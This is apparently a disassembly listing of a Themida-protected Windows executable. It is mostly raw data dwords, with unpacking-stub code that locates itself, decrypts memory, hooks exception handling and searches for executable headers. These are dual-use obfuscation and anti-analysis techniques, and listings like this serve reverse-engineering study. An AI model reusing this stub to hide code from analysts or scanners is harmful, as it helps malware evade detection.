		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 300h, 2 dup(0)
		dd 5AE95F00h, 2	dup(0)
		dd 0E0304000h, 0E95B5DFFh, 0B7h, 0FFFFFF00h, 0FFh, 3 dup(0)
		dd 106700h, 2 dup(0)
		dd 0DDF6A200h, 2Fh, 4 dup(0)
		dd 12FF6400h, 0
		dd 16A4A300h, 48h, 4 dup(0)
		dd 666A00h, 88BDCC00h, 5, 2Eh dup(0)
		dd 59F71B00h, 2	dup(0)
		dd 0FC060800h, 0FFh, 0
		dd 58039800h, 0
		dd 6C552800h, 2Ah, 2 dup(0)
		dd 5D1C6400h, 2	dup(0)
		dd 59E9D100h, 0E101400h, 1Bh dup(0)
		dd 6400BA00h, 0E78B820Bh, 0FF891477h, 7BFAE1FFh, 99h, 2	dup(0)
		dd 0BF93DF00h, 19h, 2 dup(0)
		dd 5C654D00h, 0
		dd 5800EF00h, 0CC8B300h, 19h, 88C00h, 8	dup(0)
		dd 1B6C400h, 6Eh, 5 dup(0)
		dd 0E75CB500h, 0A169DD77h, 5 dup(0)
		dd 0F52E0F00h, 77h, 4 dup(0)
		dd 0F8198800h, 0A7h, 4 dup(0)
		dd 0A000h, 2 dup(0)
		dd 200h, 2 dup(0)
		dd 1DD00000h, 4E116800h, 42h, 58002300h, 0Ah dup(0)
		dd 1DE58600h, 0Eh, 0Dh dup(0)
		dd 12FF5400h, 2	dup(0)
		dd 607FC400h, 6Ah, 58002300h, 2	dup(0)
		dd 177800h, 98ABCE00h, 5Ch, 5 dup(0)
		dd 666A00h, 0A5D82800h,	0FFh, 2	dup(0)
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 0A1A037h, 448BE0FFh,	0E0FF0424h, 16h	dup(0)
		dd 0EBA6E900h, 77h, 6 dup(0)
		dd 58C15B00h, 5	dup(0)
		dd 5A108E00h, 0
		dd 0A16CB000h, 2 dup(0)
		dd 0EF7D0500h, 34h, 0FFA37000h,	0DD59F0FFh, 77h, 0
		dd 0B8DB0F00h, 5A393D50h, 0ED02F800h, 0FFh, 46DA4400h
		dd 0C2h, 0
		dd 0A18C6B00h, 3D9400h,	0E7AC5E00h, 77h, 5 dup(0)
		dd 93A8200h, 0FFFF4401h, 0FFh, 3 dup(0)
		dd 5C967300h, 0FEh, 3 dup(0)
		dd 0FE030400h, 0A39BAC7Fh, 68C000h, 4 dup(0)
		dd 4A8D8D00h, 0E7FFFF36h, 77h, 33333300h, 2 dup(33333333h)
		dd 33h,	0
		dd 0B9BA500h, 9Ch, 0
		dd 59160F00h, 2	dup(0)
		dd 0C0FB2D00h, 3A237C01h, 33h, 0
		dd 0F7EBB300h, 77h, 0
		dd 5876EC00h, 0
		dd 0A1FA5600h, 8 dup(0)
		dd 5C29F100h, 5D30DF00h, 0
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 1FE28200h, 8Eh, 0Eh dup(0)
		dd 300h, 3 dup(0)
		dd 400h, 0FE030400h, 7Fh, 2 dup(0)
		dd 8B000000h, 2, 0A16CB000h, 7 dup(0)
		dd 0AC00h, 0
		dd 0FE030400h, 7Fh, 6 dup(0)
		dd 4D811D00h, 15h, 0
		dd 0FFD35500h, 0FFh, 2 dup(0)
		dd 0D9272500h, 10h, 8705C700h, 2, 0
		dd 4B8D8D00h, 12FF6468h, 100h, 0
		dd 245FF000h, 4	dup(0)
		dd 61FFB000h, 1, 2 dup(0)
		dd 58BD4800h, 2	dup(0)
		dd 0E354B200h, 99h, 0
		dd 0A7BA1700h, 9CA2h, 4	dup(0)
		dd 0E7C72600h, 5A7DD677h, 2 dup(0)
		dd 5C001100h, 7	dup(0)
		dd 8795B800h, 31h, 2 dup(0)
		dd 0E8000h, 0
		dd 1AA56D00h, 64h, 0A3AB00h, 7 dup(0)
		dd 4B02B00h, 5Ch, 6 dup(0)
		dd 7731F300h, 0F4h, 2 dup(0)
		dd 0DAC5FC00h, 0FEh, 0Fh dup(0)
		dd 5C47F600h, 4	dup(0)
		dd 5A7C7500h, 85h dup(0)
		dd 0A2326800h, 4 dup(0)
		dd 0A2156800h, 2 dup(0)
		dd 0D000h, 3 dup(0)
		dd 58842900h, 67h dup(0)
		dd 0B8272F00h, 0FCh, 2 dup(0)
		dd 5A75A200h, 0A0003E00h, 0FFFFFF00h, 0FFh, 0FEB77800h
		dd 34h,	2 dup(0)
		dd 7800h, 2 dup(0)
		dd 0A788AE00h, 0FFh, 0
		dd 0A0003E00h, 0
		dd 0ED00AC00h, 0FFh, 3 dup(0)
		dd 169B3400h, 0E3h, 3 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 58F6F900h, 54002300h, 28010500h, 0A8937D0Ah,	0FFh, 2	dup(0)
		dd 0C530DF00h, 5C0000A9h, 12FF2002h, 73CC8800h,	22222274h
		dd 22222222h, 5A7C7522h, 89C2800h, 1FCFC66h, 80h, 0
		dd 59BEBF00h, 7	dup(0)
		dd 1C03200h, 0
		dd 5A2BBC00h, 0
		dd 3CA0000h, 12h dup(0)
		dd 0B24A3A00h, 0D4000000h, 77h,	7 dup(0)
		dd 5933FB00h, 12FFC400h, 0
		dd 5939D500h, 3	dup(0)
		dd 3A237C00h, 33h, 5D30DF00h, 0E733FB00h, 77h, 7 dup(0)
		dd 1FCFC00h, 80h, 0
		dd 0E75CB500h, 77h, 0
		dd 62C5B000h, 2, 5A7C7500h, 0BC32BA00h,	0Fh, 7 dup(0)
		dd 0A169DD00h, 3 dup(0)
		dd 100h, 0
		dd 5BF33000h, 0
		dd 54C97C00h, 0F3186D00h, 0DDh,	56BFCB00h, 0FE030411h
		dd 0A00FE67Fh, 3 dup(0)
		dd 0B3BFFD00h, 0EEh, 0
		dd 8C00h, 0FE030400h, 7Fh, 3 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 4A8D8D00h, 36h, 0FE030400h, 7Fh, 0
		dd 3500000h, 0FE030400h, 5BF76B7Fh, 5 dup(0)
		dd 100h, 8B005500h, 0ECh, 0
		dd 0FE030400h, 7Fh, 0CB952600h,	14h, 6 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 7824B900h, 5Eh, 58002300h, 0
		dd 5A798800h, 0FDC6D900h, 0A5h,	21h dup(0)
		dd 4001E800h, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54F30D:				; CODE XREF: start:loc_54BD74j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 62A35A3h
		mov	[ebp+62A3375h],	edx
		mov	[ebp+62A1FE5h],	esi
		mov	[ebp+62A06A5h],	eax
		cmp	dword ptr [ebp+62A09F1h], 0
		jz	short loc_54F345
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54F345:				; CODE XREF: start+6E323j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+62A28B1h],	eax
		push	45h
		call	sub_54F3F9
		push	783749Ah
		call	sub_54F43F
		push	0A894B25h
		call	sub_54F43F
		jmp	loc_54F583
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54F3F9	proc near		; CODE XREF: start+6E33Dp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 62A3691h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54F415:				; CODE XREF: sub_54F3F9+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54F434
		mov	eax, [ebp+arg_0]
		mov	[ebx+62A35FBh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54F415
; ---------------------------------------------------------------------------


loc_54F434:				; CODE XREF: sub_54F3F9+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54F3F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54F43F	proc near		; CODE XREF: start+6E347p start+6E351p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 62A36DAh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54F465:				; CODE XREF: sub_54F43F+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54F465
		mov	[ebp+var_84], 0
		lea	edi, [edx+62A35FBh]
		lea	esi, [ebp+var_80]


loc_54F495:				; CODE XREF: sub_54F43F+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54F4A1:				; CODE XREF: sub_54F43F+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54F4A1
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54F495
		popa
		leave
		retn	4
sub_54F43F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54F4DF
; ---------------------------------------------------------------------------


loc_54F4DB:				; CODE XREF: Themida_:0054F4E2j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54F4DF:				; CODE XREF: Themida_:0054F4D9j
		cmp	byte ptr [esi],	0
		jnz	short loc_54F4DB
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54F570
; ---------------------------------------------------------------------------


loc_54F4F1:				; CODE XREF: Themida_:0054F573j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54F567
; ---------------------------------------------------------------------------


loc_54F4FA:				; CODE XREF: Themida_:0054F56Bj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54F554
; ---------------------------------------------------------------------------


loc_54F50A:				; CODE XREF: Themida_:0054F558j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54F52C
		cmp	bl, 39h
		ja	short loc_54F52C
		sub	bl, 30h
		jmp	short loc_54F54E
; ---------------------------------------------------------------------------


loc_54F52C:				; CODE XREF: Themida_:0054F520j
					; Themida_:0054F525j
		cmp	bl, 61h
		jb	short loc_54F53E
		cmp	bl, 66h
		ja	short loc_54F53E
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54F54E
; ---------------------------------------------------------------------------


loc_54F53E:				; CODE XREF: Themida_:0054F52Fj
					; Themida_:0054F534j
		cmp	bl, 41h
		jb	short loc_54F54E
		cmp	bl, 46h
		ja	short loc_54F54E
		sub	bl, 41h
		add	bl, 0Ah


loc_54F54E:				; CODE XREF: Themida_:0054F52Aj
					; Themida_:0054F53Cj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54F554:				; CODE XREF: Themida_:0054F508j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54F50A
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54F564
		mov	eax, [ebp-10h]
		stosb


loc_54F564:				; CODE XREF: Themida_:0054F55Ej
		inc	dword ptr [ebp-8]


loc_54F567:				; CODE XREF: Themida_:0054F4F8j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54F4FA
		add	edx, 4


loc_54F570:				; CODE XREF: Themida_:0054F4EFj
		cmp	edx, [ebp-4]
		jb	loc_54F4F1
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54F583:				; CODE XREF: start+6E356j
		mov	ecx, 7000h
		lea	edi, [ebp+62A3820h]


loc_54F58E:				; CODE XREF: start+6E57Ej
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54F58E
		mov	eax, 48692121h
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+62A3920h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		movsx	ebx, si
		jmp	loc_54F5D4
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 28h
		dd 9B71060Bh, 8548CD81h, 448E6B8Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54F5D4:				; CODE XREF: start+6E5AEj
		sub	eax, edx
		jnp	loc_54F5E0
		pusha
		mov	dl, 39h
		popa


loc_54F5E0:				; CODE XREF: start+6E5C2j
		and	eax, 0FFFFF000h
		push	0
		push	esi
		call	sub_54F5F0
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_54F5F0	proc near		; CODE XREF: start+6E5D4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_54F5F0	endp

; ---------------------------------------------------------------------------
		dd 372B4B04h, 8B6883D0h, 66FF33CAh, 5A4D3881h, 0B70F0E75h
		dd 0D0033C50h, 45503A81h, 8740000h, 10002Dh, 0E3EB4700h
		dd 58F64h, 83000000h, 958D04C4h, 62A3933h, 35FF6452h, 0
		dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h
		dd 0FEh, 8B037680h, 0C0331C70h,	7432F883h, 3E81661Fh, 9745A4Dh
		dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h
		dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h
		dd 0
		dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h
		dd 2A393EEDh, 0FC858D06h, 89062A38h, 0B881h, 33595D00h
		dd 6496C3C0h, 58Fh, 0C4830000h,	0D3816604h, 6E9A031h, 0B000000h
		dd 54BB6279h, 0D98C6677h, 5E8h,	0AB7A6800h, 13E92B2Ah
		dd 0D1000000h, 0A1F12AA9h, 0D15803BFh, 978FDAD3h, 0E0623C61h
		dd 815B4ABAh, 0FAD981EBh, 4E18052h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 5AC35141h, 0C90AD491h, 2C850Fh
		dd 0BB660000h, 5153D0DAh, 0EA803EBBh, 0C75B5B5Bh, 2A341585h
		dd 106h, 0FDE8B00h, 18Eh, 16E9F800h, 50000000h,	80A81ABBh
		dd 85C75B34h, 62A3415h,	0
		dd 8FC38166h, 1D858920h, 0E9062A23h, 10h, 0B4972C7Ah, 0F2E02A5Eh
		dd 6AA08A25h, 0C4E04C29h, 22C98589h, 0EE8062Ah,	92000000h
		dd 5013D5A9h, 4A4E7E9Ch, 0A087E264h, 81665BC1h,	81F2EDE9h
		dd 6186C3h, 0B861B500h,	1830h, 0AEC06CBFh, 0E833FF0Bh
		dd 6, 0B84EFC13h, 6E9BC59h, 7000000h, 0CF3457DBh, 605A5E66h
		dd 0B721BA66h, 6890Fh, 850F0000h, 0
		dd 0A7F28161h, 0F51F14Eh, 0F281F2BFh, 72727CB2h, 0AAC281F9h
		dd 0F47F0A5h, 580h, 0D9816600h,	66528645h, 43E9CF81h, 0BE66038Fh
		dd 0EB81D8A7h, 137AA81Bh, 9951F781h, 0C3816AF4h, 137AA817h
		dd 74D68166h, 1E881D7h,	0F000000h, 0C85h, 0E94BB100h, 21h
		dd 0D2F5FAE5h, 3840FD4h, 66000000h, 6AE9F28Bh, 2FFFFFFFh
		dd 325F5423h, 15A830C4h, 4E2BB4D2h, 13E82Dh, 0A2FD0000h
		dd 31A7A57Fh, 664492E2h, 5FD54D9Fh, 197A46CDh, 14E975h
		dd 9D060000h, 0FF97BD34h, 4EE29511h, 1881CC86h,	11D0D594h
		dd 0F5E1540h, 0A83h, 0D18B6000h, 800Fh,	81610000h, 6318C6h
		dd 0F7806000h, 9B7BFE4h, 33612437h, 0CA8166DBh,	34FF1CF9h
		dd 59C78B33h, 5871D881h, 0C1813F3Bh, 3B6A8278h,	0BF0FF860h
		dd 0E98161D1h, 4EC13495h, 0C5D08166h, 33C18158h, 6652FAEBh
		dd 510F6DBAh, 45E28151h, 58411630h, 811E048Fh, 0F8A4DDDAh
		dd 0F98B6677h, 0F02EB83h, 4B4BFEBFh, 0EBDB866h,	9D9CFB81h
		dd 850FFFFFh, 0FFFFFFA6h, 4840Fh, 53560000h, 4EB5F58h
		dd 215h, 768E9h, 29BD8900h, 60062A11h, 0F9C02BF9h, 2824548Bh
		dd 0C8B0Fh, 66600000h, 1ED8DBFh, 2A15CD85h, 85896106h
		dd 62A0D0Dh, 0BE9h, 37607E00h, 0EEE6D7EFh, 8621A87Ch, 3CBEh
		dd 1A8C0F00h, 60000000h, 820Fh,	0DE90000h, 94000000h, 0A2C87B75h
		dd 6B3C95Ch, 29CD6869h,	5E961h,	0A5800000h, 3B92382h, 0F242474h
		dd 886h, 2890F00h, 60000000h, 1880F61h,	0F8000000h, 0B509AD66h
		dd 62A0A3Dh, 24244403h,	8C0F50F9h, 10h,	0BE9h, 0B6107E00h
		dd 0CB5538BCh, 9C3A604Bh, 0FC240489h, 6078408Bh, 599BD8Bh
		dd 8D33062Ah, 62A3049h,	24440361h, 14E928h, 3E4C0000h
		dd 0E54B0E06h, 80CC5743h, 1732B8A1h, 0E4914A1Dh, 408BDA9Dh
		dd 0FB8B6018h, 40615B50h, 2BD99529h, 8589062Ah,	62A3BB0h
		dd 1AAD9529h, 0FC58062Ah, 78708BFCh, 6860Fh, 8D890000h
		dd 62A1871h, 120D8589h,	0C683062Ah, 5BD011Ch, 3062A35h
		dd 0F8242474h, 0FADBD8Dh, 9589062Ah, 62A2AC1h, 598D29ADh
		dd 3062A24h, 60242444h,	68F0Fh,	95010000h, 62A1201h, 880FAB61h
		dd 1, 0E1BD8DF8h, 0F062A0Ch, 185h, 29ADF900h, 2A12A5B5h
		dd 24440306h, 8E924h, 3F9D0000h, 167A5511h, 60909624h
		dd 50F1B560h, 5250615Bh, 310F6160h, 0D6EB866h, 5061585Ah
		dd 0E87EB160h, 7, 0A2640AD6h, 0E9A2FAE0h, 0Dh, 1CE8E9B4h
		dd 2D89B667h, 0C8B28D02h, 90615FF3h, 0EE9h, 59034E00h
		dd 904CB9E5h, 0FBAAB2A7h, 0AB2C33E5h, 0DE9h, 0D4929200h
		dd 0B8D7E19Eh, 797CD518h, 0BD8DCABDh, 62A3031h,	0DE9h
		dd 9AA01A00h, 690231C7h, 9C934B8Ch, 0FAD2653h, 0C8Eh, 6810F00h
		dd 0F000000h, 86h, 24440300h, 13E928h, 0C8920000h, 637D83D3h
		dd 0A93B9CFBh, 0C0C0D46Ch, 0CC3D65FCh, 0B529AB66h, 62A0865h
		dd 585015Eh, 0FF062A35h, 2A3BB08Dh, 0B0BD8306h,	62A3Bh
		dd 44C71075h, 1C24h, 0B58D0000h, 62A40A3h, 0AD56E6FFh
		dd 28244403h, 8ADF8B97h, 2A27C985h, 74C08406h, 75073A04h
		dd 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h
		dd 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h,	973D8D1h
		dd 50413566h, 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h
		dd 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh
		dd 0D85FF04h, 0E9062A0Dh, 0FFFFFF6Fh, 6660F55Eh, 0CD66D281h
		dd 32098D8Bh, 0E961062Ah, 7, 571CF8DAh,	8B4B007Fh, 2A0D0D85h
		dd 0FE96006h, 0D1000000h, 49CECE0Dh, 14020A3Ch,	0ABE67AC5h
		dd 958B5256h, 62A1569h,	29E0D161h, 2A1011B5h, 31850306h
		dd 29062A30h, 2A050985h, 0BE06h, 96F90000h, 2AD19D89h
		dd 11E9062Ah, 23000000h, 6A898D83h, 0AE9BC8h, 0C60A68E0h
		dd 0AD716068h, 6060AD66h, 162C24BBh, 9F4FBF08h,	0E96164C8h
		dd 14h,	24A71294h, 0C2E97E91h, 9DAA44A6h, 0DECE9DB0h, 0CD064FD2h
		dd 2E0C161h, 0E850Fh, 81600000h, 1A3843CBh, 99BD014Bh
		dd 61062A2Ah, 0FAD8503h, 13E9062Ah, 0FE000000h,	0F3016B9Eh
		dd 17A159B7h, 520D2D82h, 0A38119AEh, 9529BAB4h,	62A2931h
		dd 12E996h, 42C20000h, 7516AD03h, 0CCD7D5h, 8AAC5E5Eh
		dd 981A5021h, 12E9F5ADh, 0C0000000h, 55625BD3h,	59A3D4CDh
		dd 0A301BB45h, 0CE85EB34h, 244C8B56h, 6850F24h,	89000000h
		dd 2A28D18Dh, 24440306h, 6E924h, 8FD60000h, 418DAB53h
		dd 1C244489h, 15899D89h, 0E996062Ah, 12h, 0B2993FD5h, 0F20C8C7Ch
		dd 676B3B9h, 2E281F6h, 0F8ACFC7Ch, 0FEF5C932h, 0B890FC1h
		dd 60000000h, 8168D480h, 928E7EDEh, 0D0D06151h,	0D1830Fh
		dd 8B0F0000h, 6, 0EC98D89h, 0D0D0062Ah,	0BD830Fh, 0D0F50000h
		dd 0B4820FD0h, 0F000000h, 685h,	0A5B58900h, 0D0062A13h
		dd 0A0820FD0h, 0E9000000h, 0Fh,	7CCC7356h, 76595286h, 446A5D5Ch
		dd 298EF4FEh, 2A2C918Dh, 0FC9FE06h, 0FFFFA589h,	8E9FFh
		dd 6FA70000h, 0E155AE56h, 0C483B65Ch, 12E96020h, 0F0000000h
		dd 9713C2E4h, 0B79DDBC5h, 5F7CD353h, 824E26AAh,	69B5297Eh
		dd 61062A24h, 0FC2444C7h, 0
		dd 1A8C0F60h, 0E8000000h, 14h, 392E53E4h, 0E2F80056h, 0D25E2C53h
		dd 1E6734CFh, 0F95D655Ch, 0BF2805Fh, 1B861h, 8DFC0000h
		dd 2A70668Dh, 59858906h, 0FF062A16h, 0BD3160E1h, 62A1499h
		dd 3898531h, 0C661062Ah, 2A27C985h, 10E90006h, 19000000h
		dd 8264EA14h, 0C5FCEACh, 9AF7EF57h, 6188C184h, 18419589h
		dd 8C2062Ah, 0AD9D3100h, 50062A2Ch, 0EE95250h, 0F7000000h
		dd 0FDBC11F4h, 0FE6864C8h, 77B20230h, 0E9310F36h, 11h
		dd 1C5CA77Ah, 7189829Bh, 0B4829C94h, 5B32B41Bh,	89585A63h
		dd 0B5312434h, 62A1485h, 33058529h, 0B589062Ah,	62A42FEh
		dd 148C0Fh, 0FE90000h, 72000000h, 358133C8h, 683C47FDh
		dd 7D9AB686h, 8D8907F4h, 62A4310h, 6A19D29h, 0B58D062Ah
		dd 62A4170h, 0CE960h, 58900000h, 5AC48CD4h, 8C75077Bh
		dd 8D617B37h, 5B8EA185h, 899D2900h, 0FF062A03h,	159509D0h
		dd 5E062A35h, 0B509C3FCh, 62A2295h, 42FEB58Bh, 0B531062Ah
		dd 62A1ACDh, 43108D8Bh,	2BF5062Ah, 860F60C0h, 2, 8B61C18Bh
		dd 6870FD9h, 89000000h,	2A34B595h, 140E906h, 85890000h
		dd 62A2231h, 0CE92632h,	4B000000h, 3D78630Ch, 436134E1h
		dd 0B2630B73h, 51958902h, 0E9062A15h, 0C3h, 0FE9h, 0EADF9E00h
		dd 6672709Dh, 869433EDh, 0B94B423Ah, 10E9h, 1E6E7600h
		dd 0D2965205h, 0CF0227F7h, 0C10C1164h, 60C232C0h, 8BFABF0Fh
		dd 8B0F61F8h, 0Eh, 9E9h, 4047D100h, 285F4A2Bh, 7A057AF8h
		dd 0E98A751Dh, 0Fh, 6BC9C491h, 840491EAh, 0FE47CFFBh, 0F9E1995h
		dd 1988h, 95316000h, 62A21A5h, 0BE8h, 0E8B26D00h, 0A939AB7Fh
		dd 3CF73102h, 0CC8A615Ah, 1800Fh, 0D3F50000h, 0EDBD29C8h
		dd 35062A07h, 98D10842h, 14E9h,	949A2700h, 96CB4AEFh, 0F54A1919h
		dd 0D91B47A2h, 0EAC77D3Fh, 0E9CAFE15h, 0Fh, 0AE6FB3Dh
		dd 0F0048D14h, 3FF10025h, 0A2CB905h, 5E850FD2h,	60FFFFFFh
		dd 8BCBB70Fh, 2A2A518Dh, 0F606106h, 289h, 53EA8A00h, 2AD1BD2Bh
		dd 615A062Ah, 68F0F4Bh,	89000000h, 2A15E995h, 880F4606h
		dd 10h,	0BE9h, 0E138F800h, 0EDC6C929h, 0A152BE93h, 0C9858960h
		dd 8B062A18h, 2A1495BDh, 0DB0B6106h, 0FEBE850Fh, 8E9FFFFh
		dd 0FF000000h, 0A9859C0Dh, 0CF964DC6h, 2B999531h, 62Ah
		dd 600000F8h, 97F28166h, 8FD88160h, 6101F133h, 0FC0000h
		dd 68B0F00h, 89000000h,	2A217D95h, 0BF858D06h, 31062A3Bh
		dd 2A2831BDh, 0F5858906h, 0F8062A06h, 40CF858Dh, 800F062Ah
		dd 1Bh,	158C0Fh, 10E90000h, 81000000h, 0C12236Dh, 496DF7B8h
		dd 0EE33BF11h, 8987B0A7h, 2A00AD85h, 14EB06h, 3	dup(0)
		dd 85000000h, 8D000000h, 2A442F85h, 0E5858906h,	83062A15h
		dd 2A436FBDh, 840F0006h, 123h, 27C985C6h, 6856062Ah, 6628080Dh
		dd 2C240481h, 0FF6DF765h, 2A231DB5h, 0BF858D06h, 0FF062A3Bh
		dd 638589D0h, 0C6062A43h, 2A27C985h, 4E85606h, 52000000h
		dd 509CA8B8h, 424448Bh,	4489008Bh, 0FF580424h, 2A231DB5h
		dd 0BF858D06h, 0FF062A3Bh, 678589D0h, 6A062A43h, 748E6804h
		dd 34811EC5h, 0C5648E24h, 73858B1Eh, 5062A43h, 1F4h, 5002E0C1h
		dd 6A240489h, 6795FF00h, 89062A43h, 2A436B85h, 0B8D88B06h
		dd 0FFFFFFFFh, 15E595FFh, 0C38B062Ah, 15E595FFh, 84E9062Ah
		dd 83000000h, 2A436FBDh, 850F0006h, 1, 0BD8B57C3h, 62A436Bh
		dd 6B8583ABh, 4062A43h,	0BD83C35Fh, 62A436Fh, 1850F00h
		dd 0C3000000h, 6BAD8360h, 4062A43h, 436B9D8Bh, 7B83062Ah
		dd 850FFFFCh, 1Dh, 29874F68h, 24348171h, 7129074Fh, 33FF006Ah
		dd 436395FFh, 0C361062Ah, 1DE9h, 1A26800h, 34813552h, 5281A224h
		dd 0FF006A35h, 6395FF33h, 83062A43h, 2A436BADh,	0B1E90406h
		dd 48FFFFFFh, 9D3E9h, 28511300h, 4503A7E0h, 11A3EB7Fh
		dd 0B5ED7011h, 29FD5343h, 5B0FF3C8h, 334223EFh,	0EF6C717Bh
		dd 28774E29h, 4941ACEDh, 43B4F977h, 0B2FF6142h,	46B65C06h
		dd 510583ABh, 3F433EFBh, 0ED6C7129h, 2874412Fh,	5641B6EDh
		dd 43ABE36Ah, 0A9E17D5Ch, 2DB84811h, 4649B7C8h,	72523EFFh
		dd 0F822707Bh, 2862552Fh, 570EB0F4h, 4DABED6Ah,	63h dup(0)
		dd 28511300h, 590FADE9h, 43B4E36Ch, 0A1E36A41h,	6CF55011h
		dd 141AB2CEh, 7D4328F8h, 0F46D6229h, 7A30442Eh,	590FACF1h
		dd 0AE6EB76h, 0A9F5385Fh, 3FB84316h, 511DA0DFh,	1E2C63F7h
		dd 0E0676859h, 283C4533h, 5F0DACF1h, 0AE6E879h,	0B4EA3845h
		dd 21B85C0Ch, 4606BEC3h, 7D476DE3h, 0E470246Dh,	7A715433h
		dd 5F18E2F0h, 13E6FE6Dh, 0B4EB7743h, 0B65C02h, 48h dup(0)
		dd 28511300h, 5300B0E7h, 44B4E973h, 0A9F83842h,	24B85D0Ch
		dd 5649A0C7h, 334828FFh, 0EF776B6Fh, 7D620024h,	5E08ACEAh
		dd 0DAFAC7Fh, 0B3E36111h, 35EB1111h, 590CA7D5h,	432B47B4h
		dd 0F2636165h, 7D300C25h, 510EAEEAh, 17AFAC7Ch,	0A9FE7E11h
		dd 29F5110Eh, 4D1BBCCBh, 77482CBAh, 0F2677629h,	7C624134h
		dd 450EBBA4h, 11B6AC6Ah, 0A7FE7F5Eh, 1F0Eh, 61h	dup(0)
		dd 61561300h, 5341A7E8h, 16B4FE77h, 0A2E96C41h,	18B81F42h
